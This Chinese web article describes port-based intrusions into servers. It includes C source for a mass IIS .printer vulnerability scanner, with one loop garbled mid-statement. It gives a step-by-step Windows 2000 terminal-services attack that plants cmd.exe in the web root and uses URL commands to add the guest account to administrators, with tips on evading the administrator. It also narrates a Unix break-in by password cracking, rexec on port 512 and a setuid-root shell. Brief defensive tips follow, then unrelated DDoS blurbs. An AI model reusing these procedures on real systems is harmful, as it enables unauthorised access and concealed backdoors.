常见端口入侵实例:80、512、3389端口攻击
许多网站为了提升安全性,会在Web服务器前端部署防火墙或实施TCP IP过滤策略,仅对外暴露TCP 80端口。从攻击者的视角来看,通过80端口上的CGI程序发起攻击是最直接的途径——当然,也不排除采用其他迂回手段。从网络管理员的角度出发,既要确保CGI自身的健壮性,也要重视整体网络的安全防护。目前市
许多网站为了提升安全性,会在Web服务器前端部署防火墙或实施TCP/IP过滤策略,仅对外暴露TCP 80端口。从攻击者的视角来看,通过80端口上的CGI程序发起攻击是最直接的途径——当然,也不排除采用其他迂回手段。从网络管理员的角度出发,既要确保CGI自身的健壮性,也要重视整体网络的安全防护。目前市面上针对80端口的CGI扫描工具种类繁多,但其核心原理基本一致。
CGI扫描器的原理其实非常直观,概括起来只需四句话:连接目标Web服务器;发送一个特殊构造的请求;接收目标服务器返回的数据;根据返回内容判断目标是否存在相应的CGI漏洞。
当管理的服务器数量达到一定规模后,手工逐一检测每台服务器的CGI漏洞将耗费大量时间和精力。因此,拥有一款实用的CGI漏洞扫描器,对网管而言十分必要。今天我们就自行编写一个简单的CGI漏洞扫描器(使用C语言),以便在日常工作中高效检测服务器安全状况。
源代码如下,多处添加了注释以便理解。
/*************************************************************************
Module:CGICheck.cpp
Author:ey4s
Date:2001/5/16
说明:这是一个Console下多线程,带有进度显示的CGI扫描器的模板,
更改一下szSign和SendBuff就可以扫描其他CGI漏洞,
设置了连接、发送、接收超时,速度还可以哦。
希望可以帮助到admins检测自己的服务器:))
*************************************************************************/
#include
#include
#include
#include
#include
#include
#include
#define iPort 80 //目标Web Server端口
#define szSign "500 13\r\nServer: Microsoft-IIS/5.0" //根据此标志来检查目标是否有漏洞
#pragma comment(lib,"ws2_32.lib")
///////////////////////////////////////////////////////////////////////////
// 定义&初始化全局变量
char *SendBuff="GET /NULL.printer\r\n"; //发送的请求buff
char CurrentTarget[52]=""; //存放最后一个线程将扫描的目标
char turn[4][2]={"|","/","-","\\"}; //显示进度时的字符
int SendBuffLen=strlen(SendBuff); //发送的buff长度
int iConnTimeout; //TCP Connect TimeOut
int ii=0; //扫描进度
int iTotal; //服务器总数
HANDLE hSemaphore=NULL; //信标内核对象句柄,用来控制线程数量
HANDLE hStdout; //console标准输出句柄,做进度显示的时候用的
struct timeval timeout; //连接、发送和接收的超时值
DWORD SleepTime; //每个一个线程后等待的时间
/* SleepTime值根据用户输入的线程数量[ThreadNum]和TCP ConnectTimeOut[CONNTIMEO]来计算。
确保在CONNTIMEO时间左右开ThreadNum个线程。
这样在CONNTIMEO时间后,所开的线程开始陆续超时退出,
可以继续稳定的开线程,可以有效的保证同时有ThreadNum个线程在运行。
*/
///////////////////////////////////////////////////////////////////////////
void ShowError(char *); //显示出错信息函数,可以写完善一些,偶偷懒了:)
BOOL ResetCursor(void); //重置光标位置,线程输出的时候调用的
DWORD WINAPI ShowProInfo(LPVOID); //显示进度信息
DWORD WINAPI scan(LPVOID); //扫描函数
void usage(char *); //帮助函数
///////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
HANDLE hThread=NULL; //线程句柄
DWORD dwThreadID; //线程ID
struct sockaddr_in sa;
int i,MaxThread; //最大线程数量
WSADATA wsd;
long PreviousCount;
clock_t start,end; //程序运行的起始和结束时间
double duration;
//检查用户输入参数
if(argc!=5)
{
usage(argv[0]);
return 1;
}
//get target range
int StartNet=inet_addr(argv[1]);
int StopNet=inet_addr(argv[2]);
int StartHost=ntohl(StartNet);
int StopHost=ntohl(StopNet);
//取得线程数量
MaxThread=atoi(argv[3]);
//取得conn超时时间
iConnTimeout=atoi(argv[4]);
//检查参数合法性
if((iConnTimeout>6) || (iConnTimeout<2) || (MaxThread>500) || (MaxThread<1) || (StartHost>StopHost) || (StopHost>0xFFFFFFFF) || (StartHost<0))
{
usage(argv[0]);
return 1;
}
//计算时间
SleepTime=1000*iConnTimeout/MaxThread;
//设置连接超时值
timeout.tv_sec = iConnTimeout;
timeout.tv_usec =0;
__try
{
//开始计时
start=clock();
//加载winsock库
if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
{
ShowError("WSAStartup");
__lea ve;
}
//创建信标内核对象句柄
hSemaphore=CreateSemaphore(NULL,MaxThread,MaxThread,NULL);
if(hSemaphore==NULL)
{
ShowError("CreateSemaphore");
__lea ve;
}
//取得console标准输出句柄
hStdout=GetStdHandle(STD_OUTPUT_HANDLE);
if(hStdout==INVALID_HANDLE_VALUE)
{
ShowError("GetStdHandle");
__lea ve;
}
//设置目标总数
iTotal=StopHost-StartHost;
//创建进度显示线程
hThread=CreateThread(NULL,0,ShowProInfo,NULL,0,&dwThreadID);
if(hThread==NULL)
{
ShowError("1 CreateThread");
__lea ve;
}
//关闭句柄
CloseHandle(hThread);
//循环创建扫描线程
for(i=StartHost;i=iTotal) break;
//计算百分比
m=(double)ii/(double)iTotal*100;
//输出进度
j++;
if(j>=4) j=0;
//ResetCursor();
//这里直接输出,简单处理
printf("\r[%d/%d] %s %5.2f%%", ii, iTotal, turn[j], m);
Sleep(100);
//如果扫描完成则退出
if(ii>=iTotal) break;
}
return 0;
}
///////////////////////////////////////////////////////////////////////////
// 扫描函数
DWORD WINAPI scan(LPVOID lp)
{
int i=(int)lp,iErr;
struct sockaddr_in server;
SOCKET s=INVALID_SOCKET;
char RecvBuff[1024]="",*ptr;
int RecvBuffLen=sizeof(RecvBuff);
u_long ul=1; //初始化为非0值
fd_set r,w;
//create socket
s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(s==INVALID_SOCKET)
{
printf("\nCreate socket failed:%d",GetLastError());
ExitProcess(1);
}
//fill the addr struct
server.sin_family=AF_INET;
server.sin_port=htons(iPort);
server.sin_addr.S_un.S_addr=htonl(i);
__try
{
//设置socket为非锁定模式,ul为0值的话,那么socket将被设置为锁定模式
iErr=ioctlsocket(s,FIONBIO,(unsigned long*)&ul);
if(iErr==SOCKET_ERROR )
{
ResetCursor();
ShowError("ioctlsocket");
ExitProcess(1);
}
//connect to target
connect(s,(struct sockaddr *)&server,sizeof(server));
//设置select参数
FD_ZERO(&w);
FD_SET(s, &w);
//等待connect成功&socket可写
iErr=select(0, 0, &w, 0, &timeout);
//等待返回后,socket仍不可写则退出
if((iErr==SOCKET_ERROR) || (iErr==0))
{
__lea ve;
}
else
{
//send buff to target
iErr=send(s,SendBuff,SendBuffLen,0);
if(iErr==SOCKET_ERROR)
__lea ve;
}
//等待socket可读
FD_ZERO(&r);
FD_SET(s, &r);
iErr=select(0, &r, 0, 0, &timeout);
if((iErr==SOCKET_ERROR) || (iErr==0))
{
__lea ve;
}
else
{
//recv buff from target
iErr=recv(s,RecvBuff,RecvBuffLen,0);
if(iErr==SOCKET_ERROR)
__lea ve;
}
//verify buff
ptr=strstr(RecvBuff,szSign);
if(ptr!=NULL)
{
//线程输出前要先调用ResetCursor函数
ResetCursor();
//输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混乱
printf("[%-15s] has .printer mapped.\n",inet_ntoa(server.sin_addr));
}
}
__finally
{
if(!ReleaseSemaphore(hSemaphore,1,NULL))
ShowError("thread ReleaseSemaphore failed");
closesocket(s);
}
return 0;
}
///////////////////////////////////////////////////////////////////////////
void usage(char *proname)
{
printf("\n%s v0.1 only can find IIS5 .Printer mapped"
"\nPower by ey4s 2001.5.20"
"\nhttp://www.patching.net"
"\n\nUsage:%s StartIP StopIP ThreadNum CONNTIMEO"
"\n\nNotice"
"\n StartIP StopIP ==>Don't forgot StopIP must large than StartIP"
"\n ThreadNum ==>Thread number,please input between 1-500"
"\n CONNTIMEO ==>TCP connect timeout,please input between 2-6"
"\n\nExample"
"\n %s 192.168.0.0 192.168.255.255 200 2",proname,proname,proname);
}
该程序在VC++ 6.0下编译通过,并在Windows 2000环境中运行良好。
389端口的入侵
3389端口的入侵
由于微软对中国产品缺乏责任感,导致安装了终端服务和全拼输入法的Windows 2000服务器存在严重安全漏洞,攻击者可远程登录并获取超级用户权限。
攻击流程如下:
- 扫描3389端口(终端服务默认端口);
- 使用终端客户端程序进行连接;
- 按下Ctrl+Shift调出全拼输入法(其他输入法可能无效),鼠标右键点击(如果帮助菜单呈灰色,则说明目标已打补丁,请放弃),选择“帮助”→“输入法入门”;
- 在“选项”菜单上点击右键——>“跳转到URL”,输入:c:\winnt\system32\cmd.exe(若不确定NT系统目录,可输入c:或d:等逐步查找确认);
- 选择“保存到磁盘”,目标目录设为c:\inetpub\s,由于这是服务器本地的文件复制操作,过程很快完成;
- 打开IE,输入:http://ip/s/cmd.exe?/c dir,即可验证cmd.exe是否已成功上传;
- http://ip/s/cmd.exe?/c echo net user guest /active:yes>go.bat
- http://ip/s/cmd.exe?/c echo net user guest elise>>go.bat
- http://ip/s/cmd.exe?/c echo net localgroup administrators /add guest>>go.bat
- http://ip/s/cmd.exe?/c type go.bat查看批处理文件内容是否如下:
net user guest /active:yes
net user guest elise
net localgroup administrators /add guest - 在“选项”菜单上点击右键——>“跳转到URL”,输入:c:\inetpub\s\go.bat ——> 在磁盘当前位置执行该批处理;
- 至此,攻击成功,服务器guest账户被激活,密码为elise,并已加入管理员组。选择guest账户而非新建账户,更不易被察觉。随后可通过IPC$连接进行任意操作,甚至直接使用guest账户远程登录服务器。
注意事项:
1. 使用终端客户端登录服务器时,所有操作不会在本地屏幕显示,但如果管理员正在运行终端服务管理器,则可能看到你的进程ID、程序映像、IP地址及机器名,并能发送消息给你。
2. 连接过程会加重服务器负载,极易导致死机或断线,因此操作应尽量迅速。
3. 尽快建立后门,暂时不要上传任何程序,一是防止断线,二是避免对方及时打上补丁。
个人观点:
1. 在IE环境下,仅拥有iusr_machine权限,无法执行越权操作(如启动telnet、木马等)。
2. 通过URL跳转,可获得超级用户权限,请善加利用。
3. 跳转到某个目录后,通常只能查看或执行当前目录下的文件,无法进入子目录;如需进入子目录,需再次执行跳转。
4. 此方法似乎不受对方防火墙影响。
5. 实际操作中发现极易断线,但与服务器资源占用无关。测试目标为384M RAM PIII、静态IP、数据库服务器,配备RAID硬盘、SCSI CD ROM,已开机18天,凌晨2点进入时仍频繁掉线。
防御措施:
1. 安装官方安全补丁;
2. 删除全拼输入法,改用标准输入法即可;
3. 在服务中禁用Terminal Services(服务名称:TermService,对应程序:system32\termsrv.exe)。
512端口入侵
已经过去六十多天,Celeron 533仍在不知疲倦地运行着John……偶然注意到这个网站,起初只是想尝试一下。方法是大虾们常用的Finger,然后猜解用户口令进入。进入后发现PASSWD文件没有SHADOW,可直接查看。系统为Digital Unix,PASSWD中显示只有两个用户组:root和users。猜中的是一个users级别的账户,发现该级别用户几乎没有任何权限。Telnet上去后,/usr/users/xxx是各用户的Home目录,属性均为drwx------,说明用户之间互不信任(这在许多免费主页服务器上很常见)。看来即使猜出再多用户级口令也无济于事。
root级用户只有两个:root和shut。root口令John跑了60多天,显然不可能再跑出来,但幸运的是shut口令已被破解。毫不犹豫地telnet上去——然后,网站就关闭了!@#~!#^%,真笨,怎么没想到shut口令是用于关机的呢?
网站很快又重新开启,发现shut口令并未更改!这个网管是怎么当的,系统无故关闭也不查一下原因?很明显,这个网站只有root用户有技术能力,但他可能不在服务器所在地,无法直接操作开关机,于是给当地操作员分配了一个root级账户,并在.profile文件中嵌入了一个shell脚本,使得该账户一登录就自动关闭系统。考虑到系统设计如此周密,root在编写这个shell时肯定关闭了PATH,因此无法通过在优先PATH路径中放置同名shell来阻止它。如果能修改这个文件再telnet上去,不就能获得root权限了吗?
但是shut的HOME目录是drwx------,其他账户无法进入。尝试ftp,返回“530 user shut access denied”,users组可以通过ftp登录,但同样无法进入shut目录。而且该网站根本没有开启WWW服务,怎么办?为这个网站陆陆续续研究了许久,总是乐观地鼓励自己,“起码我已经知道几十种进不去的方法了……”。“真正的黑客从来都是把困难当作乐趣,敞开的大门你请他进他都不进呢!”如此六十多天过去了,直到有一天……
再次用haktek扫描该网站,结果如下:
Port 21 found. Desc='ftp'
Port 23 found. Desc='telnet'
Port 25 found. Desc='smtp'
Port 79 found. Desc='finger'
Port 111 found. Desc='portmap/sunrpc'
Port 512 found. Desc='biff/exec'
Port 513 found. Desc='login/who'
Port 514 found. Desc='shell/syslog'
Port 515 found. Desc='printer'
Port 1024 found.
Port 1025 found.
Port 1526 found.
Port 1528 found.
一个之前被忽略的端口512引起了注意。这个端口是什么时候开放的?它允许用户不登录即可在服务器上执行命令!!!赶紧尝试!
打开软件winrsh32,填入user和password,在命令中输入ls -la,点击运行——哇,文件全部列出来了!接下来就简单了:cp /bin/sh /tmp/.temp;chown root /tmp/.temp;chmod 4755 /tmp/.temp。然后使用之前破解的user级账户telnet,cd /tmp;.temp。当#符号映入眼帘时,心中却感到一丝落寞……可惜这个root一世谨慎,却毁在了允许shut使用512端口上。看来破坏一个世界总是比建立一个世界简单……
139端口入侵
139端口的入侵,主要利用建立空连接来获取用户名和共享名,随后通过字典攻击或穷举法猜测Administrators的密码,从而获得最高权限。
解决方案:
1. 禁止匿名共享。
2. 关闭管理共享。
1433端口入侵
1433端口的入侵,主要利用MS SQL Server默认sa密码为空的特点,通过远程执行命令实现攻击,或通过穷举法猜测密码。
游乐网为非赢利性网站,所展示的游戏/软件/文章内容均来自于互联网或第三方用户上传分享,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系youleyoucom@outlook.com。
同类文章
DDoS攻击的三大主要形式:原理、特征与防御重点
DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。
如何有效预防和缓解DDoS攻击:5大核心策略详解
面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。
DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。
常见DDoS攻击类型详解:原理、特征与防御策略
本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。
如何有效抵御DDOS攻击:4种核心防护方案解析
面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。
- 热门数据榜
相关攻略
2026-08-31 11:56
2026-08-31 11:56
2026-08-31 11:55
2026-08-31 11:55
2026-08-31 11:54
2026-08-31 11:53
2026-08-31 11:53
2026-08-31 11:53
热门教程
- 游戏攻略
- 安卓教程
- 苹果教程
- 电脑教程

